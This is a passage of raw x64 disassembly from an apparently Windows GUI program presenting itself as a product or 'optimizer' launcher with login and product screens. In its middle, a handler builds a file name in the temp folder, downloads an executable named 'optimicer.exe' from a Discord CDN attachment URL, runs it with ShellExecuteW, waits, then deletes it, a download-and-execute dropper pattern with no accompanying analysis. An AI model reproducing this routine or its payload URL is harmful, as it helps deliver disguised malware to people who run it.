mov r8, qword [0x1401e1c78]
mov rcx, rax
call fcn.140042be0
lea rdx, [0x140042930]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, r13
cmp qword [0x1401e1c80], 0xf
cmova rax, qword [0x1401e1c68]
mov qword [0x1401e1878], rax
lea rax, [0x140115f80]
mov qword [0x1401e1870], rax
mov dword [0x1401e1d70], r14d
mov dword [0x1401e1d7c], 0
mov dword [0x1401e1d80], 0x43160000
mov dword [0x1401e1d78], 0
jmp 0x140040e9a
movdqa xmm0, xmmword [0x140116960]
movups xmmword [0x1401e2498], xmm0
movdqa xmm0, xmmword [0x1401169b0]
movups xmmword [0x1401e24a8], xmm0
movups xmmword [0x1401e24b8], xmm0
mov dword [0x1401e2430], 2
mov rbx, qword [0x1401e17e0]
mov rax, qword [rbx + 0x3ed0]
movss xmm8, dword [rax + 0xfc]
subss xmm8, dword [rax + 0x1c]
addss xmm8, dword [rax + 0x80]
movss xmm7, dword [0x1401e2104]
movaps xmm6, xmm7
addss xmm6, dword [0x140116614]
addss xmm6, xmm13
mov qword [rsp + 0x30], r14
lea rax, str._Have_account__LOG_IN
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
movss xmm3, dword [0x140116688]
movss xmm2, dword [rbx + 0x3c20]
lea rdx, [rbp + 0x88]
mov rcx, qword [rbx + 0x3c18]
call fcn.14002cb80
movss xmm0, dword [rbp + 0x88]
addss xmm0, xmm12
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x88], xmm1
addss xmm7, dword [0x140116660]
addss xmm7, xmm13
subss xmm7, xmm6
mulss xmm7, xmm15
addss xmm7, xmm6
mulss xmm1, xmm15
subss xmm7, xmm1
mov rax, qword [rbx + 0x3ed0]
mov byte [rax + 0xb0], 1
mov rax, qword [rbx + 0x3ed0]
movss dword [rax + 0xf8], xmm7
movss dword [rax + 0xfc], xmm8
mov byte [rax + 0x139], 1
lea rdx, str.LOG_IN
lea rcx, str._Have_account_
call fcn.14003c5b0
test al, al
je 0x140040fa1
mov byte [reloc.WS2_32.dll_accept], 1
call fcn.140012c30
movss xmm7, dword [0x140116688]
mov qword [rbp + 0x98], 0
lea rcx, [0x1401e05d0]
call fcn.140003c40
mov ebx, eax
movaps xmm0, xmm13
addss xmm0, xmm9
movss dword [rbp + 0x90], xmm0
movaps xmm1, xmm14
addss xmm1, dword [0x140116658]
movss dword [rbp + 0x94], xmm1
mov dword [rsp + 0x20], ntohs
xor r9d, r9d
movss xmm2, dword [0x1401165d8]
lea rdx, [rbp + 0x90]
mov rcx, rdi
call fcn.140024ad0
mov dword [rsp + 0x30], r14d
lea rax, [rbp + 0x98]
mov qword [rsp + 0x28], rax
movss xmm0, dword [0x140116664]
movss dword [rsp + 0x20], xmm0
mov r9d, ebx
mov r8d, dword [rdi + 0x78]
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.140027470
mov dword [rdi + 0x78], r14d
mov eax, dword [0x1401e2100]
movss xmm8, dword [0x1401164fc]
lea rsi, [0x140115f80]
jmp 0x140041071
movss xmm11, dword [0x140116694]
movss xmm12, dword [0x1401164f4]
cmp eax, 2
jne 0x14004173e
mov rcx, qword [0x1401e2690]
call fcn.14000fb90
lea rcx, [0x1401e05e0]
call fcn.140003c40
mov ebx, eax
movaps xmm6, xmm14
addss xmm6, dword [0x1401165b4]
mov rcx, qword [0x1401e17e0]
mov rdx, qword [rcx + 0x3ed0]
subss xmm6, dword [rdx + 0x80]
mov qword [rsp + 0x30], r14
lea rax, str.Available_products
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
movaps xmm3, xmm7
movss xmm2, dword [rcx + 0x3c20]
lea rdx, [rbp + 0xa0]
mov rcx, qword [rcx + 0x3c18]
call fcn.14002cb80
movss xmm0, dword [rbp + 0xa0]
addss xmm0, xmm12
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0xa0], xmm1
movaps xmm0, xmm13
addss xmm0, dword [0x14011666c]
subss xmm0, xmm13
mulss xmm0, xmm15
addss xmm0, xmm13
mulss xmm1, xmm15
subss xmm0, xmm1
movss dword [rbp + 0xa8], xmm0
movss dword [rbp + 0xac], xmm6
test ebx, 0xff000000
je 0x1400411a0
mov rax, qword [rdi + 0x38]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rbp - 0x40], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm10
lea rcx, [0x14011639a]
mov qword [rsp + 0x38], rcx
lea rcx, str.Available_products
mov qword [rsp + 0x30], rcx
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
lea r9, [rbp + 0xa8]
movss xmm2, dword [rax + 0x10]
mov rdx, rdi
mov rcx, qword [rax + 8]
call fcn.14002cda0
call fcn.14000fc30
mov rcx, qword [0x1401e17e0]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ed0]
movss xmm2, dword [rax + 0x18]
subss xmm2, dword [rax + 0x7c]
movss xmm0, dword [0x1401e05c8]
addss xmm0, dword [0x14011659c]
addss xmm2, xmm0
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm1, dword [0x1401165d4]
movss dword [rax + 0xf8], xmm2
movss dword [rax + 0xfc], xmm1
mov byte [rax + 0x139], 1
call fcn.140012b00
lea rax, str.Yesterday
mov qword [rsp + 0x28], rax
lea rax, str.Today
mov qword [rsp + 0x20], rax
lea r9, str.11.12.2024
xor r8d, r8d
mov rdx, qword [0x1401e1990]
lea rcx, [0x14011008e]
call fcn.140032db0
test al, al
je 0x140041464
lea rax, str.Downloading_Optimizer
mov qword [0x1401e1878], rax
lea rbx, [0x140115f84]
mov qword [0x1401e1870], rbx
mov dword [0x1401e1d70], r14d
mov dword [0x1401e1d7c], 0
mov dword [0x1401e1d80], 0x43160000
mov dword [0x1401e1d78], 0
lea rdx, [rbp + 0x590]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x14004142a
cmp eax, 0x104
jae 0x14004142a
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r9d, eax
lea r8, [rbp + 0x590]
lea rdx, str._soptimizer__d.exe
lea rcx, [rbp + 0x380]
call fcn.1400426f0
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, str.https:__cdn.discordapp.com_attachments_1316010577755246673_1316902348379127929_optimicer.exe_ex675cbc62is675b6ae2hm47eca72513f02af1a0b1a13ef6f073160e081be7a54362634d5ba32ef9b3f926
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [0x1401e1d70], r14d
mov dword [0x1401e1d7c], 0
mov dword [0x1401e1d80], 0x43160000
mov dword [0x1401e1d78], 0
test eax, eax
js 0x140041421
lea rax, str.Download_Completed
mov qword [0x1401e1878], rax
mov qword [0x1401e1870], rbx
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [0x1401e1d70], r14d
mov dword [0x1401e1d7c], 0
mov dword [0x1401e1d80], 0x43160000
mov dword [0x1401e1d78], 0
cmp eax, 0x20
jle 0x140041407
lea rcx, str.Execution_Started
mov qword [0x1401e1878], rcx
mov qword [0x1401e1870], rbx
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [0x1401e1d70], r14d
mov dword [0x1401e1d7c], 0
mov dword [0x1401e1d80], 0x43160000
mov dword [0x1401e1d78], 0
mov rcx, rbx
test eax, eax
cmove rcx, rsi
lea rdx, str.Optimizer_Executed_and_Deleted
lea rax, str.Failed_to_Delete_File
cmove rdx, rax
mov qword [0x1401e1878], rdx
mov qword [0x1401e1870], rcx
jmp 0x140041464
mov rcx, rsi
lea rdx, str.Error_Starting_Optimizer
mov qword [0x1401e1878], rdx
mov qword [0x1401e1870], rcx
jmp 0x140041464
lea rax, str.Download_Failed
jmp 0x140041456
lea rax, str.Error_Getting_Temp_Path
mov dword [0x1401e1d70], r14d
mov dword [0x1401e1d7c], 0
mov dword [0x1401e1d80], 0x43160000
mov dword [0x1401e1d78], 0
mov qword [0x1401e1870], rsi
mov qword [0x1401e1878], rax
mov dword [rbp + 0xb0], 0x442f0000
mov dword [rbp + 0xb4], 0x42480000
lea rcx, [rbp + 0xb0]
call fcn.1400354a0
call fcn.140012c30
mov qword [rbp + 0xc0], 0
lea rcx, [0x1401e05d0]
call fcn.140003c40
mov ebx, eax
movaps xmm0, xmm13
addss xmm0, xmm9
movss dword [rbp + 0xb8], xmm0
movaps xmm1, xmm14
addss xmm1, dword [0x140116658]
movss dword [rbp + 0xbc], xmm1
mov dword [rsp + 0x20], ntohs
xor r9d, r9d
movss xmm2, dword [0x1401165d8]
lea rdx, [rbp + 0xb8]
mov rcx, rdi
call fcn.140024ad0
mov dword [rsp + 0x30], r14d
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x28], rax
movss xmm0, dword [0x140116664]
movss dword [rsp + 0x20], xmm0
mov r9d, ebx
mov r8d, dword [rdi + 0x78]
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.140027470
mov dword [rdi + 0x78], r14d
movss xmm2, dword [0x1401e0600]
movss dword [rbp + 0x1a8], xmm2
movss xmm1, dword [0x1401e0604]
movss dword [rbp + 0x1ac], xmm1
movss xmm0, dword [0x1401e0608]
movss dword [rbp + 0x1b0], xmm0
mov dword [rbp + 0x1b4], 0
movss dword [rbp + 0x1b8], xmm2
movss dword [rbp + 0x1bc], xmm1
movss dword [rbp + 0x1c0], xmm0
mov dword [rbp + 0x1c4], 0
movaps xmm7, xmm13
addss xmm7, dword [0x140116668]
movaps xmm0, xmm7
movss xmm2, dword [0x1401e05c8]
subss xmm0, xmm2
movss dword [rbp + 0xc8], xmm0
movaps xmm1, xmm14
addss xmm1, dword [0x140116640]
subss xmm1, xmm10
movss dword [rbp + 0xcc], xmm1
movaps xmm6, xmm13
addss xmm6, dword [0x140116594]
addss xmm2, xmm6
movss dword [rbp + 0xd0], xmm2
movaps xmm0, xmm14
movss xmm11, dword [0x140116634]
addss xmm0, xmm11
addss xmm0, xmm10
movss dword [rbp + 0xd4], xmm0
lea rcx, [0x1401e0600]
call fcn.140003c40
mov r10d, eax
lea rcx, [rbp + 0x1a8]
call fcn.140003c40
mov r8d, eax
lea rcx, [rbp + 0x1b8]
call fcn.140003c40
mov r9d, eax
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], r8d
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0xd0]
mov rcx, rdi
call fcn.1400257f0
movss xmm2, dword [0x1401e0600]
movss dword [rbp + 0x1c8], xmm2
movss xmm1, dword [0x1401e0604]
movss dword [rbp + 0x1cc], xmm1
movss xmm0, dword [0x1401e0608]
movss dword [rbp + 0x1d0], xmm0
mov dword [rbp + 0x1d4], 0
movss dword [rbp + 0x1d8], xmm2
movss dword [rbp + 0x1dc], xmm1
movss dword [rbp + 0x1e0], xmm0
mov dword [rbp + 0x1e4], 0
subss xmm7, dword [0x1401e05c8]
movss dword [rbp + 0xd8], xmm7
movaps xmm0, xmm14
addss xmm0, dword [0x140116594]
subss xmm0, xmm10
movss dword [rbp + 0xdc], xmm0
addss xmm6, dword [0x1401e05c8]
movss dword [rbp + 0xe0], xmm6
movaps xmm0, xmm14
addss xmm0, xmm10
addss xmm0, xmm10
movss dword [rbp + 0xe4], xmm0
lea rcx, [0x1401e0600]
call fcn.140003c40
mov r9d, eax
lea rcx, [rbp + 0x1c8]
call fcn.140003c40
mov r8d, eax
lea rcx, [rbp + 0x1d8]
call fcn.140003c40
mov dword [rsp + 0x30], r8d
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], r9d
lea r8, [rbp + 0xd8]
lea rdx, [rbp + 0xe0]
mov rcx, rdi
call fcn.1400257f0
jmp 0x140041747
movss xmm11, dword [0x140116634]
mov qword [rbp + 0xf0], 0
movss xmm0, dword [0x1401e0630]
movss dword [rbp + 0x1e8], xmm0
movss xmm1, dword [0x1401e0634]
movss dword [rbp + 0x1ec], xmm1
movss xmm0, dword [0x1401e0638]
movss dword [rbp + 0x1f0], xmm0
mov dword [rbp + 0x1f4], 0x3f000000
lea rcx, [rbp + 0x1e8]
call fcn.140003c40
mov ebx, eax
movaps xmm0, xmm13
addss xmm0, dword [0x140116648]
subss xmm0, dword [0x1401e24f0]
movss dword [rbp + 0xe8], xmm0
movaps xmm1, xmm14
addss xmm1, dword [0x1401165b0]
mov rcx, qword [0x1401e17e0]
mov rdx, qword [rcx + 0x3ed0]
subss xmm1, dword [rdx + 0x80]
movss dword [rbp + 0xec], xmm1
mov dword [rsp + 0x20], ntohs
xor r9d, r9d
movss xmm2, dword [0x140116584]
lea rdx, [rbp + 0xe8]
mov rcx, rdi
call fcn.140024ad0
mov dword [rsp + 0x30], r14d
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x28], rax
movss xmm0, dword [0x1401165b8]
movss dword [rsp + 0x20], xmm0
mov r9d, ebx
mov r8d, dword [rdi + 0x78]
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.140027470
mov dword [rdi + 0x78], r14d
movdqa xmm0, xmmword [0x140116a90]
movups xmmword [rbp - 0x40], xmm0
mov dword [rbp + 0xf8], 0x3f800000
mov dword [rbp + 0xfc], 0x3f800000
mov qword [rbp + 0x100], 0
mov rax, qword [0x1401e17e0]
mov rcx, qword [rax + 0x3ed0]
movss xmm3, dword [rcx + 0x80]
movss xmm0, dword [0x140116650]
subss xmm0, dword [0x1401e24f0]
movss dword [rbp + 0x108], xmm0
movss xmm0, dword [0x1401165c4]
subss xmm0, xmm3
movss dword [rbp + 0x10c], xmm0
movaps xmm1, xmm13
addss xmm1, dword [0x14011663c]
subss xmm1, dword [0x1401e24f0]
movss dword [rbp + 0x110], xmm1
movaps xmm0, xmm14
addss xmm0, dword [0x14011658c]
subss xmm0, xmm3
movss dword [rbp + 0x114], xmm0
lea rcx, [rbp - 0x40]
call fcn.140003c40
mov dword [rsp + 0x30], eax
lea rax, [rbp + 0xf8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x100]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x108]
lea r8, [rbp + 0x110]
mov rdx, qword [0x1401e1880]
mov rcx, rdi
call fcn.140025b20
mov rcx, qword [0x1401e17e0]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ed0]
mov rcx, qword [rax + 0x290]
mov eax, dword [rcx + 0x20]
mov dword [0x1401e2830], eax
mov qword [rbp + 0x120], 0
lea rcx, [0x1401e05d0]
call fcn.140003c40
mov ebx, eax
movaps xmm6, xmm13
addss xmm6, dword [0x140116670]
movss dword [rbp + 0x118], xmm6
movaps xmm7, xmm14
addss xmm7, dword [0x1401165f4]
movss dword [rbp + 0x11c], xmm7
mov dword [rsp + 0x20], ntohs
xor r9d, r9d
movss xmm12, dword [0x1401165e4]
movaps xmm2, xmm12
lea rdx, [rbp + 0x118]
mov rcx, rdi
call fcn.140024ad0
mov dword [rsp + 0x30], r14d
lea rax, [rbp + 0x120]
mov qword [rsp + 0x28], rax
movss xmm0, dword [0x140116654]
movss dword [rsp + 0x20], xmm0
mov r9d, ebx
mov r8d, dword [rdi + 0x78]
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.140027470
mov dword [rdi + 0x78], r14d
mov qword [rbp + 0x130], 0
lea rcx, [0x1401e05d0]
call fcn.140003c40
mov ebx, eax
movss dword [rbp + 0x128], xmm6
movaps xmm0, xmm14
addss xmm0, dword [0x1401165e0]
movss dword [rbp + 0x12c], xmm0
mov dword [rsp + 0x20], ntohs
xor r9d, r9d
movaps xmm2, xmm12
lea rdx, [rbp + 0x128]
mov rcx, rdi
call fcn.140024ad0
mov dword [rsp + 0x30], r14d
lea rax, [rbp + 0x130]
mov qword [rsp + 0x28], rax
movss xmm6, dword [0x140116654]
movss dword [rsp + 0x20], xmm6
mov r9d, ebx
mov r8d, dword [rdi + 0x78]
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.140027470
mov dword [rdi + 0x78], r14d
mov qword [rbp + 0x140], 0
lea rcx, [0x1401e05d0]
call fcn.140003c40
mov ebx, eax
addss xmm13, dword [0x140116678]
movss dword [rbp + 0x138], xmm13
movss dword [rbp + 0x13c], xmm7
mov dword [rsp + 0x20], ntohs
xor r9d, r9d
movaps xmm2, xmm12
lea rdx, [rbp + 0x138]
mov rcx, rdi
call fcn.140024ad0
mov dword [rsp + 0x30], r14d
lea rax, [rbp + 0x140]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm6
mov r9d, ebx
mov r8d, dword [rdi + 0x78]
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.140027470
mov dword [rdi + 0x78], r14d
mov qword [rbp + 0x310], 0
lea rcx, [0x1401e05d0]
call fcn.140003c40
mov ebx, eax
movss dword [rbp + 0x308], xmm13
addss xmm14, dword [0x14011660c]
movss dword [rbp + 0x30c], xmm14
mov dword [rsp + 0x20], ntohs
xor r9d, r9d
movaps xmm2, xmm12
lea rdx, [rbp + 0x308]
mov rcx, rdi
call fcn.140024ad0
mov dword [rsp + 0x30], r14d
lea rax, [rbp + 0x310]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm6
mov r9d, ebx
mov r8d, dword [rdi + 0x78]
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.140027470
mov dword [rdi + 0x78], r14d
lea rcx, [rbp + 0x208]
call fcn.14003c310
movss xmm0, dword [rax + 4]
movss xmm1, dword [rax]
unpcklps xmm1, xmm0
movq rdx, xmm1
movss xmm0, dword [0x1401e24ec]
call fcn.14003c4b0
mov rcx, qword [rsp + 0x68]
call fcn.14003cd70
call fcn.14000f5b0
call fcn.140009b40
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
mov rcx, qword [0x1401e1d88]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x1401e1d50]
mov edx, r15d
call qword [rax + 0x108]
mov rcx, qword [0x1401e1d88]
mov rax, qword [rcx]
lea r8, [rbp + 0x370]
mov rdx, qword [0x1401e1d50]
call qword [rax + 0x190]
mov rax, qword [0x1401e17e0]
mov rcx, qword [rax + 0x48a8]
mov rax, qword [rcx]
add rax, 0x48
mov rcx, r14
cmp byte [rax], 0
cmovne rcx, rax
call fcn.14002e040
mov rcx, qword [0x1401e1d58]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, r15d
call qword [rax + 0x40]
movss xmm7, dword [0x140116688]
jmp 0x14003f79c
mov rdi, qword [0x1401e17e0]
test rdi, rdi
je 0x140041c58
mov rbx, qword [rdi + 0xa0]
jmp 0x140041c5b
mov rbx, r14
call fcn.14002eff0
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140041c6f
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
test rcx, rcx
je 0x140041c7d
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140041c8c
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rdi + 0x90], r14
mov qword [rdi + 0xa0], r14
mov rax, qword [0x1401e17e0]
test rax, rax
je 0x140041cac
dec dword [rax + 0xf4]
mov rdx, qword [0x1401e17d0]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rax, qword [0x1401e17e0]
test rax, rax
je 0x140041cd0
mov rbx, qword [rax + 0x98]
jmp 0x140041cd3
mov rbx, r14
lea rdi, [rax + 8]
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x140041ced
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x1401e17e0]
mov qword [rdi + 0x80], r14
mov qword [rdi + 0x90], r14
test rax, rax
je 0x140041d06
dec dword [rax + 0xf4]
mov rdx, qword [0x1401e17d0]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rbx, qword [0x1401e17e0]
mov qword [0x1401e17e0], rbx
call fcn.140005ba0
mov qword [0x1401e17e0], r14
test rbx, rbx
je 0x140041d5d
mov rcx, rbx
call fcn.14001aaa0
mov rax, qword [0x1401e17e0]
test rax, rax
je 0x140041d4e
dec dword [rax + 0xf4]
mov rdx, qword [0x1401e17d0]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, qword [0x1401e1d50]
test rcx, rcx
je 0x140041d76
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401e1d50], r14
mov rcx, qword [0x1401e1d58]
test rcx, rcx
je 0x140041d8f
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401e1d58], r14
mov rcx, qword [0x1401e1d88]
test rcx, rcx
je 0x140041da8
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401e1d88], r14
mov rcx, qword [0x1401e1d68]
test rcx, rcx
je 0x140041dc1
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401e1d68], r14
mov rcx, qword [0x1401e19b0]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x2c8]
mov rcx, qword [rbp + 0x2f0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
jmp 0x140041e25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140041ed0
mov rdx, qword [rbp + 0x2c8]
mov rcx, qword [rbp + 0x2f0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r15d
mov rcx, qword [rbp + 0x7a0]
xor rcx, rsp
call fcn.1400ebe30
lea r11, [rsp + 0x950]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14003c1d0
nop
call fcn.140001aa0
nop
call fcn.140001aa0
int3
call fcn.14003c1d0
nop
call fcn.14003c1d0
nop
call fcn.140001aa0
nop
call fcn.140001aa0
nop
call fcn.140001aa0
int3
call fcn.14003c1d0
nop
call fcn.14003c1d0
int3